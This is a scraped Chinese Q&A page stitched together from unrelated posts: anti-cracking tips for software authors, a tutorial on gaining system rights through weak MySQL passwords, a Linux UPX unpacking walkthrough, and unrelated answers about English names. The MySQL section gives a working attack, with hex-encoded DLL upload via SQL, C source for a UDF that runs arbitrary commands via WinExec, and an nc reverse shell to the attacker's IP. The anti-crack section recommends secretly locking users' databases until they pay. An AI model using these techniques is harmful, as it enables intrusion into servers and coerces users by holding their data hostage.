如易表设置了伪验证,这时市场上出现了新的注册机,当用户用这个注册机后,提示是注册成功了,但当用户输入重要数据后的某个日子,突然打不开数据库了,用户很着急,因为以为是破解成功了,所以将重要的资料输入了,只能拿钱向易表作者进行注册了。而且还千恩万谢,后悔自己不该用破解。哈哈,一举两得呀。 这个方法对于数据库应用软件来说是绝好的办法。 作业:制作一个算法程序放在你的数据库软件中,这个子程序可以统计你的数据库软件使用时,用户输入的是否是拷贝的东西,还是正常的数据。当统计到1000时触发验证。方法思路为:可以通过查看用户有没有使用复制与粘贴快捷键,或资料进行排序,如果有大量重复的,就说明是奸人在拷贝数据破解,否则是一个资料一个资料的输入的,说明是正常使用的重要资料,这时进行对比就好了。 本方法对有资料的破解使用者有极好的控制作用,通过第6条的伪验证技术与本技术结合,那么就可以知道是不是正版用户,并且可以锁定数据库,等他注册后再给他解锁。 加密第17定理:加密的结果应该是双赢,伪验证是一个上策。 9.验证与专业知识相结合技术 将验证与专业知识相结合,让奸人必须学习专业知识后才能真正去破解,这样所花的功夫比自己写一个软件的代价还要大,而有的专业知识不是专家是不知道的,因此是一个较好的加密方法。 前述中采用了“到数值(验证1())”这样的代码返回的是0或1两者之间的一个数,可以用乘法进行混合计算,如: 音量 = 播放位置X到数值(验证1()) 当验证正确时返回的是1,这时的结果是正确的,否则返回0,这时的结果为0,是错误的。 这样的代码可以混合到您的专业知识中,如:算命软件可将天干地支、生辰八字中的某个地方进行此类计算,计算类软件可以将某种特殊的计算过程如此结合计算,绘图类软件可将绘图中的算法部分加入此类计算,音响设计类、机床设计软件…… 加密第18定理:你知道的专业知识,破解者不一定了解哦。让专业知识与验证相结合吧。 10.伪装,用易语言写自有支持库 大家可以将DLL文件的扩展名改为易语言的支持库文件FNE扩展名,这样进行非独立编译后,与其他FNE文件混合在一起,甚至您可以用易语言写一个支持库,将其中一部分作为验证部分。 易语言的支持库文件FNE文件其实就是一个DLL文件,只不过扩展名改变了而已,用易语言写支持库的方法金眼睛已发过一篇贴子,进行过说明,请大家在易语言论坛上搜索金眼睛的贴子就可以找到了。 作业:找到金眼睛关于用易语言写支持库的贴子,并且自己写一个支持库。 11.绝妙的暗桩设置 应该想到的用代码实现的暗桩前面都讲了不少,下面是一些特别的暗桩供奸人品味的。 大家可以在一些不起眼的地方再放一些暗桩,如:在窗口最小化事件中随机验证,如在某个组件鼠标被移动事件中验证, 有时需要将数据完整性验证放在更高一级的验证中,不要一上来就检查文件是否被更改。 同一验证可以使用多次,这样奸人认为你已经验证过了,没有必要会再验证一次,而相反这时又产生了验证,让奸人防不胜防。如启动时就立即检查程序完整性,如果发现被更改,那就立即退出程序,而在一些子程序中也随机放这样的验证。 更多的暗桩大家自己设计最好。 加密第19定理:加密重要的是暗桩的设置,破解不完全就是一个无效破解。 12.发布不完整版本 有的软件作者在发布共享软件时,放在外面的是不完整版本,将更多的数据资料在注册后提供。这样做也可以,只是麻烦一些而已。如有的图形制作软件,将图片资源另外打包,用户注册后再给完全版的图片。 也有的将DLL文件中的验证部分作了空处理,而在注册后提供真正的注册DLL文件及注册码。还有的直接将KEY文件放在了DLL文件中另外提供。 加密第20定理:不要发布完整版本,以静制动。 13.程序、数据结合加密技术 把程序运行所必需要的资源放到一个数据库文件中,给这个数据库设密码,密码是主程序的数据摘要变换后的结果。程序运行是先验证有没有注册,如果已经注册,就对运行程序本身(取执行文件名())取数据摘要,用自己设计的算法多次变换后形成一个字串,用该字串作为数据库的密码打开数据库文件。如果打开数据库失败,就说明主程序被人修改了,终止程序运行即可。(不终止也没戏,程序找不到运行所需的资源。) 另外设计一个程序,用同样的算法算出数据库密码,然后给数据库加密即可。 密码形成算法建议使用大数支持库。但如果是汇编高手用汇编写注册机的话,会直接将支持库的所有反汇编码抄进去就可以了,问题是他们有没有时间搞。 14.自定义算法 前面讲过采用RSA与数值计算支持库交叉计算的办法,这就是一种自有的算法,如果能用上数值计算支持库中的矩阵、傅丽叶变换等高级功能就更好了。 多重RSA交叉打乱:大家也可以多用一些RSA密钥,如用5个,10个都无所谓,重要的是将这些注册码都打乱,让奸人哭死。打乱的方法就是你自己独创的方法了。 更多的自有算法就要靠大家自己去研究了。祝大家好运。 加密第21定理:加密不反对古怪和变态的方法,鼓励哦。 15.加密框图 下面给出一个加密的设计框图,大家可以根据自己的实际情况改变加密的策略: 图中主程序外围进行了花指令编译,并且用加普通壳进行保护。脱壳了也无所谓,因为设置了暗桩,随机检查。 图中表示主程序运行后,首先进行了常规的注册码第一次验证,找有没有注册文件。如果这个被破解,注册码应该是一个短的RSA,而真正的注册码是三个RSA的叠加。会生成伪注册机也无所谓。 主程序中用暗桩的形式对窗口标题、版权信息进行验证,这是考虑到如果一启动就验证这些很容易被奸人看出来从而会跳过去。因此用一些随机,或分级,或条件法取得不固定的验证。 主程序中用暗桩的方式对加壳后主程序的完整性进行校验,这个也不要放在常规的验证中,否则很容易被跳过去。可以查文件长度,MD5或CRC32都可以上。 主程序中用暗桩的方式加入了反调试模块。 主程序中布满GHOFFICE过滤词语验证代码。并且源代码有备注,不会搞错的。 主程序在某个条件下随机进行第二级验证,从注册码中取第二段数据,如果注册码长度不够且取不到第二段数据,那么就说明已使用了伪注册机,将用户的数据库锁定,等他付钱来注册。 主程序在一个条件下再激活验证,从注册码文件中取第三段数据,如果注册码长度不够,且取不到第三段数据,那么就说明已使用了伪注册机,将用户的数据库锁定,等他付钱来注册。 编程中还注意将加密的字符串搅乱且分不同地方存放,用吴氏加密命令加密重要数据,也可加入数值计算支持库的算法,也可以加入一些惩罚手段,也可以再加入自己的一些算法。 以下是一些人的编程体会摘录,基本未改其中的内容,在此表示感谢! 附录1加密已形成密码学 我引用《应用密码学》作者的话: 世界上有两种密码:一种是防止你的小妹妹看你的文件;另一种是防止奸人阅读你的文件资料。 如果把一封信锁在保险柜中,把保险柜藏在纽约的某个地方…,然后告诉你去看这封信。这并不是安全,而是隐藏。相反,如果把一封信锁在保险柜中,然后把保险柜及其设计规范和许多同样的保险柜给你,以便你和世界上最好的开保险柜的专家能够研究锁的装置。而你还是无法打开保险柜去读这封信,这样才是安全的。 意思是说,一个密码系统的安全性只在于密钥的保密性,而不在算法的保密性。 对纯数据的加密的确是这样。对于你不愿意让他看到这些数据(数据的明文)的人,用可靠的加密算法,只要破解者不知道被加密数据的密码,他就不可解读这些数据。 但是,软件的加密不同于数据的加密,它只能是“隐藏”。不管你愿意不愿意让他(合法用户,或 Cracker)看见这些数据(软件的明文),软件最终总要在机器上运行,对机器,它就必须是明文。既然机器可以“看见”这些明文,那么 Cracker,通过一些技术,也可以看到这些明文。 于是,从理论上,任何软件加密技术都可以破解。只是破解的难度不同而已。有的要让最高明的 Cracker 忙上几个月,有的可能不费吹灰之力,就被破解了。 所以,反盗版的任务(技术上的反盗版,而非行政上的反盗版)就是增加 Cracker 的破解难度。让他们花费在破解软件上的成本,比他破解这个软件的获利还要高。这样 Cracker 的破解变得毫无意义——谁会花比正版软件更多的钱去买盗版软件 ? 然而,要做到“难破解”,何尝容易? Sony 曾宣称的超强反盗版(Key 2 Audio音乐 CD反盗版),使用了很尖端的技术,然而最近却被一枝记号笔破解了,成为人们的饭后笑料! 所以,很多看上去很好的技术,可能在 Cracker 面前的确不堪一击。就像马其诺防线一样,Cracker 不从你的防线入手,而是“绕道”。这样,让你的反盗版技术在你做梦也想不到的地方被 Crack 了。 为什么会这样呢 ?归根到底是因为软件在机器上运行,并且软件和机器是分离的——这一点是关键,如果软件和硬件完全绑定,不能分离,是可以做到象 IDEA 之类几乎不可破解的系统的。这将在后面谈传统软件保护技术时详细说明。 对我的这个解决方案,我不能保证Crack高手在几天之内不能破解它,我只能说:“在这个软件中,我尽量堵住了当前破解者普遍使用的方法以及“我想得到”的可能的缺口。”但是我相信,倾注了我三个月心血的反盗版软件,决不是一个“玩具式”的反盗版软件。 附录2《如何用简单方法防止破解》 北极异型 在Debug的手册里可以看到Debug工具的局限:第一个局限是只能下4个内存区域的断点,每个断点不能控制超过两个字节,这样内存断点不能控制超过16个字节的区域;第二个局限是对多线程只能同时跟踪一个线程。 假设你的注册部分有300行,你可以分成30个子程序调用或重复的func1(),func2()... func30()。将他们随意放到程序的各个部分,一定不能放在一起(自己能找到就行了)。不要用Memcpy等常用系统调用拷贝注册码,尽可能自己写,像Memcpy很好写,性能差点无所谓。经过编译后inline函数展开,注册部分和其他代码混在一起,他要写出注册机就像大海里捞针,在几十万甚至上百万汇编代码里找出有用的注册部分。 利用Debug的第一个局限最重要的一点是:注册码也不要放在一起,假设你的注册码是12位,千万不要用一个12位的数组放注册码,你可以在程序的不同位置定义12个全局字符变量,每个放一位,这样注册码在内存就不连续了。最好再加密处理一下(简单的字符异或就可以),验证时再解密。也不要用连续内存保存验证用到的变量,尽量将用到的验证临时变量分散定义在程序的不同处,再在验证中,不断转移一些值到其他变量中,对付暴力和Loader会比较有效。 没有必要用复杂的加密算法,更容易成为追踪的目标。只要你将注册部分隐藏的足够好,也没有漏洞,你花1天写的加密算法,破解者可能会花100-1000倍的时间破解。大部分人都会放弃。 你将注册做在一起,就像将你的财宝放在现代保险箱里,虽然非常坚固难以解密,对于开锁高手两分钟就打开了。 而古代海盗用的方法是将财宝埋在海岛上,这样没有藏宝图,对所有高手和低手都只有一条路,拿一把铁撬挖,可能要挖一生。程序有那么多代码,反编译出来可能超过百万行,你将注册部分藏在里面,藏的好就如同将财宝埋在海岛里。那些所谓的Crackme只是给高手玩儿的现代保险箱而已,用原始的方法可以达到同样效果。
2023-07-05 03:06:501

如何利用弱口令入侵MySQL数据库

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?
2023-07-05 03:07:081

Od里面的JNZ跳转的白痴问题

JNE/JNZ 是一条判断转移指令,本身和数据无关,你这“只有一个数据”不知道是指何数据,它是根据上一条可改变ZR标志的语句来作判断的。
2023-07-05 03:07:151

关于英文名

comscience应该是conscience,意思是“良心”。Jiezel不是典型的英文名字,没什么意思。其发音类似于“姬哲儿”。如果是男的可以取名为:吉哲如果是女的用可以考虑:姬泽
2023-07-05 03:07:266

在windows平台下的底层开发应该有什么样的学习路线

  题主问的是学习路线,以下是个人意见,(目前是某网络安全公司的开发实习生):  1.语言C/C++(参考书籍:<<C/C++ Primer>> ,<<C和指针>>,<<数据结构C语言描述>>)),汇编(王爽的汇编语言,作为入门,参考Intel手册,之后参考看雪的<<加密与解密>>,了解PE文件的格式,加壳脱壳和病毒感染的手法,如果是开发的话,只需要了解即可,能用反汇编调试工具去做简单的CrackMe即可),这个阶段大约是大一大二的时间,除去老师上课教的C语言基础,80x86汇编语言以为,很多知识都是自己去扩展。  2.windows api(win32sdk) 参考书籍(《Windows程序设计》,《Windows核心编程》,MFC之类的需要使用的时候在参考即可,不必花费太多精力,主要是去了解程序的消息机制,事件等等,应该把主要的精力比如线程注入,Ring3的各种HOOK等。这个阶段是大二下学期的时间,说实话,我这个方面看的太少了,花了好多时间在一些没有意义的事情上,导致到大三的时候参加信息安全比赛做驱动的时候经验严重不足,所以基础太重要了)  3.然后就是winows驱动内核的开发(参考书籍,寒江独钓,张帆的Windows驱动开发技术详解,WDK上的各种示例代码) 熟悉各种过滤驱动框架(文件过滤驱动,文件微过滤驱动,tdi,ndis协议,ndis中间层,ndis小端口等等)。 然后就是各种系统底层的原理,进程创建的流程,文件创建的流程,进程间通信的过程,用各种调试,反汇编工具(od,ida,windbg)去跟踪分析,可以写一些Rootkit/Anti-Rootkit工具,比如对于进程隐藏和保护,有SSDT HOOK OpenProcess,摘除进程链表等等,这样有助于对系统底层机制的理解  4.后期就是经验和内功了,什么《深入解析Windows操作系统》,《TCP/IP》卷123,《Windows内核原理与实现》等等,说白了,个人认为,底层开发对于调试的功力要求很高,能从蓝屏的dump文件出有用的信息
2023-07-05 03:07:422

现在的程序要如何的破解!

现在软件破解比较容易,带壳,vmp比较困难,很多暗桩,还驱动保护,总之新手找没壳的练习有些crackme没有壳也可以写的很难可以去看雪学习www.pediy.com
2023-07-05 03:07:481

linux里文件如何进行文件脱壳

 linux很少有需要crack的软件,所以最近总是自娱自乐。自己写的软件自己破着玩但是由于都是知道自己的手段,没有什么意思。真的希望有高手们写些crackme for linux 。  最近看了看windows的脱壳大致的理解了脱壳的原理,之前没有怎么接触脱壳,通常只是选择没有壳的软件看看。在linux下的壳没有找到几个。只找到了一个upx的壳,在windows下是个弱壳。实际上在linux下面也是弱壳,完全可以使用"upx -d"的命令解决问题。但我总是喜欢自己手动的。呵呵....纯属于自娱自乐。  ok,开始我们的linux的upx的脱壳之旅.........  我在选择工具的时候花了很多时间,忽然发现GDB在upx面前是那么的苍白无力...也终于知道为什么有人说GDB不适合做逆向了...虽然软件在调试器里可以正常于运行,正常下断。但是根本无法查看反汇编的代码.......。  无奈无奈....使用传说中最好的工具 IDA 为此我特地简单的学习了一下IDC脚本的使用方法...  没有什么资料可以参考,是一件很不愉快的事情,因为不知道能不能成功。不管了,一步一步来吧...  我用“upx -d“ 脱出了原来的文件,发现文件是全的,没有任何部分丢失,所以我相信这些文件会出现在进程空间的某个时间的某个角落,这个很大的坚定了我手动脱壳的信心(但是实际上到这篇文章的结尾我也没有能够在找到完整的程序文件,但我相信理论上内存空间中应该会出现完整的文件的...)。  我的加壳软件是我上次文章中用到做外挂的mines(扫雷游戏)。先找到了upx-3.03-i386_linux 软件 附件中我会给出的免的度这篇文章的人去寻找了。  对我们目标软件加壳,命令如下,的确是个好用的压缩壳软件,直接有54%的压缩律。  代码:  [jun@beijihuCom dumpupx]$Content$nbsp;./upx mines  Ultimate Packer for eXecutables  Copyright (C) 1996 - 2008  UPX 3.03 Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008  File size Ratio Format Name  -------------------- ------ ----------- -----------  13960 -> 7556 54.13% linux/elf386 mines  Packed 1 file.  [jun@beijihuCom dumpupx]$Content$nbsp;  好了,我们开始调试他了,加了壳以后,一般的调试软件已经对他无能为力了...  实验一下GDB 和 DDD 的效果...以及objdump  readelf还可以正常使用,(仅限于一部分功能.呵呵,不详谈了...)  代码:  [jun@beijihuCom dumpupx]$Content$nbsp;readelf -e ./mines  ELF Header:  Magic: 7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00  Class: ELF32  Data: 2"s complement, little endian  Version: ; 1 (current)  OS/ABI: UNIX - Linux  ABI Version: 0  Type: EXEC (Executable file)  Machine: Intel 80386  Version: 0x1  Entry point address: 0xc02598  Start of program headers: 52 (bytes into file)  Start of section headers: 0 (bytes into file)  Flags: 0x0  Size of this header: 52 (bytes)  Size of program headers: 32 (bytes)  Number of program headers: 2  Size of section headers: 40 (bytes)  Number of section headers: 0  Section header string table index: 0  There are no sections in this file.  Program Headers:  Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align  LOAD 0x000000 0x00c01000 0x00c01000 0x01d60 0x01d60 R E 0x1000  LOAD 0x0002fc 0x0804b2fc 0x0804b2fc 0x00000 0x00000 RW 0x1000  上面的输出,我们可以发现他的入口点是0xc02598 这个入口点已经和GCC编译出来的程序大不一样了。实际上重“upx -d“脱出来的效果来看,原来的入口点基本上是不会改变的,也就是说我们的手动脱壳的时候软件的入口点,加载方式都是和未加壳的软件是一样的...这一点又为我们的脱壳成功,增加了砝码..  继续....gdb 调试一下  代码:  (gdb) b *0xc02598  Breakpoint 1 at 0xc02598  (gdb) r  Starting program: /home/jun/Crack/dumpupx/mines  warning: shared library handler failed to enable breakpoint  (no debugging symbols found)  Breakpoint 1, 0x00c02598 in ?? ()  (gdb) disassemble  No function contains program counter for selected frame.  (gdb)  gdb看不反汇编代码,晕了都不知道下一步的操作是什么....看来是没有什么用了  祭起传说中的逆向利器IDA.学西习了一下,简单操作,我开始了调试之旅.  代码:  [jun@beijihuCom dumpupx]$Content$nbsp;idal ./mines  等到加载完成,会停在入口处,呵呵在光标在call上直接按F4,程序运行,停到了入口出  单步运行...实际上我没有什么办法,不知道有什么下好的方法下断点,可以使这个简单方法调试...  这边我是这么想的,upx是压缩壳,当他把执行权交给原目标程序的时候,必定会有一个大的跳转,好多新手在windows脱壳,都是以这个为oep的标准的。linux应该也不会例外的...  F8单步到0xc025c8 跳到 oxc025d1 在 0xc025d3 又会跳回来。显然是个循环。不在循环里浪费时间了。我们向下找找,下面有个retn返回。光标移到上面F4。实际上没有什么把握。只是蒙的,结果很好,没有飞走.F8单步到了这里  继续单步,retn到一个地方  不详细分析了往下看。翻阿翻,不会这么巧吧.看见了 jmp dword ptr [edi]跳转,这不会是传说中的大跳吧。  不管直接F4到这里...哈哈很成功。  单步一下,跳到了这里。  不懂代码的具体含义,但是明显不是程序的入口...为什么?单步....继续  看到这里我忽然顿悟,这里是在做ld连接,不能让他运行了,很可能是为了我们目标程序的运行进行共享库的连接..会修改我们内存中的映像文件。这样我们dump出来的就不是原来的干净程序,因为我们没有修复工具,比起windows里面的PE修复要麻烦多了.....所以赶紧dump出来...  用来dump映像的idc脚本  代码:  #include <idc.idc>  #define PT_LOAD 1  #define PT_DYNAMIC 2  static main(void)  {  auto ImageBase,StartImg,EndImg;//基址 08048000  auto e_phoff;  auto e_phnum,p_offset;//paddr 0xc 地址,pmemsz ox14大小,p_offset 0x4  auto i,dumpfile;  ImageBase=0x08048000;  StartImg=0x08048000;  EndImg=0x0;  Message("%8x ",Dword(ImageBase));  if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f )  {  if(dumpfile=fopen("./dumpfile","w+"))  {  e_phoff=ImageBase+Word(ImageBase+0x1c);  e_phnum=Word(ImageBase+0x2c);  for(i=0;i<e_phnum;i++)  {  if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)  { p_offset=Dword(e_phoff+0x4);  StartImg=Dword(e_phoff+0xc);  EndImg=Dword(e_phoff+0xc)+Dword(e_phoff+0x14);  dump(dumpfile,StartImg,EndImg,p_offset);  Message("dump LOAD%d ok. ",i);  }  e_phoff=e_phoff+0x20;  }  fseek(dumpfile,0x30,0);  fputc(0x00,dumpfile);  fputc(0x00,dumpfile);  fputc(0x00,dumpfile);  fputc(0x00,dumpfile);  fclose(dumpfile);  }else Message("dump err.");  }  }  static dump(dumpfile,startimg,endimg,offset)  { auto i;  auto size;  size=endimg-startimg;  fseek(dumpfile,offset,0);  for ( i=0; i < size; i=i+1 )  {  fputc(Byte(startimg+i),dumpfile);  }  }  改变文件的属性,让他可以运行。  代码:  [jun@beijihuCom dumpupx]$Content$nbsp;su  口令:  [root@beijihuCom dumpupx]# chmod 755 ./dumpfile  [root@beijihuCom dumpupx]# ./dumpfile  程序运行的很好..  总结:第一次在linux下手动脱壳,看上去文章中写的很轻松,实际上在之前做了很多工作。包括ELF的加载等等。还有我发现如果程序的节表头程序也能很好的运行,什么的..  另外,我之调试的时候,实际经过很多挫折...没有足够的经验嘛...不过些文章,截图的时候都很顺利..呵呵.共勉........
2023-07-05 03:08:131

请教软件破解达人一些软件破解中的代码问题

你的理解是正确的,但是你不注意全局.大部分的软件是不让你破解的.采用了各种加密的手段.这一种是垃圾指令的加密.换句话来说,你的这一段内容是一些垃圾,它只像模像样的程序.能顺利地通过加汇编就可以了,没有多大的意义,就是起干扰你的作用.如果你注意了以上的两句,就不应该再对它的程序有问题了.TEST ESI,ESIJE LABLE它的不跳转的可能吗?TEST EDI,EDIJE LABLE它也有不跳转的可能吗?你的程序你确信跳回来了吗?呵呵,看看全局的调用吧!不要作无用功.
2023-07-05 03:08:191

怎么用peid查看一个软件是用什么写出来的

“.exe”的文件,如何知道他是用什么软件写的呢?答:当然是用编程软件写的了。如c语言,java等由于纪录是类16进制写,10进制的写字板打开自然是乱码了。程序当然是不会那么轻易让你逆读的,否则随便读的话OFFice的工夫岂不白费?不过看来你读了代码也不知道其意思,所以推荐不要读了。程序读只有一种办法,用反汇编软件读,汇编编码近及其语言,一般认识读不了的了。你如何知道他是用什么软件写的这个可以,下载专门软件,加壳的用解壳软件脱壳就可以看真实语言了。也有简单如VB小软件自己告诉你:右键属性中有信息,不过一般不可信。动态反汇编绝对TRW2000至尊静态反汇我用W32Dasm、Ollydbg都不错解壳软件推荐language2000吧,中文的
2023-07-05 03:08:263

ollydbg搜索不到字符串

源程序是不是加壳了啊,要是,要先脱壳,然后反汇编的
2023-07-05 03:08:381

帮我翻译一下

1.chinked out 2.stone beam||使叮当响出2.stone 光线3.有一种东西是那种好像很多人跑马拉松,在衣服前面挂着的那张纸,写着名字或者编号,那个东西叫什么?||A kind of thing is that kind of to seem the many people run a Marathon, hanging in front of the clothes of that paper, write a well-known word perhaps serial number, what does that thing call||A kind of thing is that kind of to seem the many people run a Marathon, hanging in front of the clothes of that paper, write a well-known word perhaps serial number, what does that thing call?那个东西也是好像一个小背心,上边写着什么标志,有代表性的。||That thing also is seem a small vest, ascend a side to write what marking, there is representative.英文发音是 beep,不过不确定拼写,所以过来问问那个东西叫什么?||That thing also is seem a small vest, ascend a side to write what marking, there is representative.English pronunciation is a beep, however does the indetermination put together to write, so come over to ask that thing to call what?怎么拼?
2023-07-05 03:08:463

olean是什么意思

网络释义 欧林 一个著名的案例就是世界五百强之一的宝洁公司的教训,当该公司花费了80亿美元,基于消费者调查而向市场推出新品牌欧林(Olean),却以惨痛的失败而告终。基于66个网页-相关网页欧力恩 ...pper V3.1.2.43.1算法分析Real Donverter 1.6.2分析[重启验证]某crackme的算法分析(附vb算法源码,写的很差,高手飘)欧力恩(Olean)屏幕监控软件算 qq相册密码暴破最新版 法分析v 1.93.1算法分析+注册机源码某网页保存软件破解过程+Delphi注册机表格算法]压缩工具...基于11个网页- 相关网页 奥利安 早上我们定好六点动身,是要开车到一个在纽约上州叫作奥利安(Olean)的小镇去看梅萨打网球比赛,这是我们几个月前就商定好的。那里离舅舅家也是五,六个小时车程。 奥林 它最近创新了减肥品,在市场上称为奥林(Olean),它自从它被美国食品与药品管理局批准后,在咸味零食市场上成为10年业最成功的新食品。 短语 New Olean纽奥良olean oho acid齐墩果酸Wing Hollow, Olean奥林
2023-07-05 03:08:551

有没有aes的教程,加密解密的

,也分别为128比特,192比特和256比特,并分别被称为AES-128,AES-192,AES-256。AES和传统的分组密码算法不同的是它不采用Feistel结构(比如DES中采用的),而是采用了三个不同的可逆一致变换层:线性混合层、非线性层、密钥加层。具体的算法数学基础和过程请祥见: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf AES算法的识别、跟巧及Crackme实例分析1 AES算法的判断识别AES中有自S盒与逆S盒,可以将此作为判别标志,比如:S盒开头为:637C777BF26B6FC53001672BFEDB76CA82C97DFA5947F0..... 解密过程使用的盒开头为:52096AD53036A538BF40A39E81F3D7FB7CE339829B2FFF87
2023-07-05 03:09:032

没有提示框下什么断点

